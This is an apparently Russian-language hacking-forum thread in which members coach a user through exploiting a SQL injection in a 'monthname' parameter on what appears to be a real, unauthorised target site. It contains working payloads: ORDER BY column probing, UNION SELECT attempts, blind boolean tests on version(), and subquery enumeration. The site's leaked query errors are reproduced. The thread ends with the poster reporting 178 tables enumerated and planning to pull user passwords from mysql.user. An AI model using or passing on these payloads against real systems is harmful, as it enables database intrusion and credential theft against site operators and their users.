Вопрос специалистам в sql-injection

Discussion in 'Песочница' started by JenJen, 30 Dec 2007.

  1. JenJen

    JenJen New Member

    Joined:
    2 Nov 2007
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Всем привет. Такой вопрос:
    есть sql-injection. При запросе при добавлении к уязвимому параметру:

    monthname=december' order by 8/*

    выдаётся следующая ошибка:
    Code:
    Error:  Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*'  Ошибка: Unknown column '8' in 'order clause'
    При вводе:
    monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при

    monthname=december' union select 1,2,3,4,5,6,7/*

    выводится ошибка вида:

    Code:
    Error:  Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date  Ошибка: The used SELECT statements have a different number of columns
    Эта же ошибка выводится во всех запросах по типу

    monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал.

    Я так понял тут следуют несколько один за одним запросов, как с этим работать?

    Надеюсь на Ваши ответы )

    Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.
     
    #1 JenJen, 30 Dec 2007
    Last edited: 30 Dec 2007
    2 people like this.
  2. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    monthname=december' union select 111,222,333,444,555,666,777/*
    На странице или в коде страницы есть такие значения при таком запросе?
     
  3. JenJen

    JenJen New Member

    Joined:
    2 Nov 2007
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Никаких, выводится исключительно текст ошибки и всё. Если б выводилось я б не задавал вопросов.
     
  4. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Пока больше никаких идей нет :(
     
    1 person likes this.
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Чё вы ему тут насоветовали? ппц
    У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
    В твоём случае только подзапросы юзать
     
    1 person likes this.
  6. JenJen

    JenJen New Member

    Joined:
    2 Nov 2007
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Да, спасибо я уже это понял.
    Может расскажешь как их правильно юзать или дашь ссылку?
     
    2 people like this.
  7. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    http://forum.antichat.ru/showpost.php?p=537435&postcount=567
    брошюрко -> статья ZaCo
     
    3 people like this.
  8. Серенький

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    учти, что в мускулах <4.2 подзапросы не поддерживаются.
     
    1 person likes this.
  9. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    не 4.2, а 4.1.. то есть подзапросы появились в 4.1..

    monthname=december+and+ascii(substring(version(),1,1))>0/*
    monthname=december+and+ascii(substring(version(),1,1))<0/*

    проверь разные ли ответы
     
    3 people like this.
  10. Серенький

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    Да, спасибо за поправку,
    с Наступившим.
     
    2 people like this.
  11. JenJen

    JenJen New Member

    Joined:
    2 Nov 2007
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Спасибо всем ответившим, сейчас проверю, потом отпишу.

    З.Ы. С 2008 )

    Результаты:
    всё работает, а версия вообще 5.х. Причем версию узнал простым
    monthname=december' and version()>=5/*
    Далее, с помощью подзапросов узнал кол-во таблиц, их оказалось 178 ).
    Сейчас проверю сколько записей '%' в поле host таблицы mysql.user и в зависимости от этого буду либо узнавать пароли юзеров либо узнавать все имена таблиц.

    Еще раз спасибо всем, хоть наконец-то узнал как юать подзапросы по-нормальному.
     
    #11 JenJen, 1 Jan 2008
    Last edited: 1 Jan 2008
Loading...
Similar Threads - Вопрос специалистам injection
  1. gilo20
    Replies:
    2
    Views:
    2,477
  2. Dobi768
    Replies:
    2
    Views:
    2,400
  3. avva99on
    Replies:
    0
    Views:
    2,398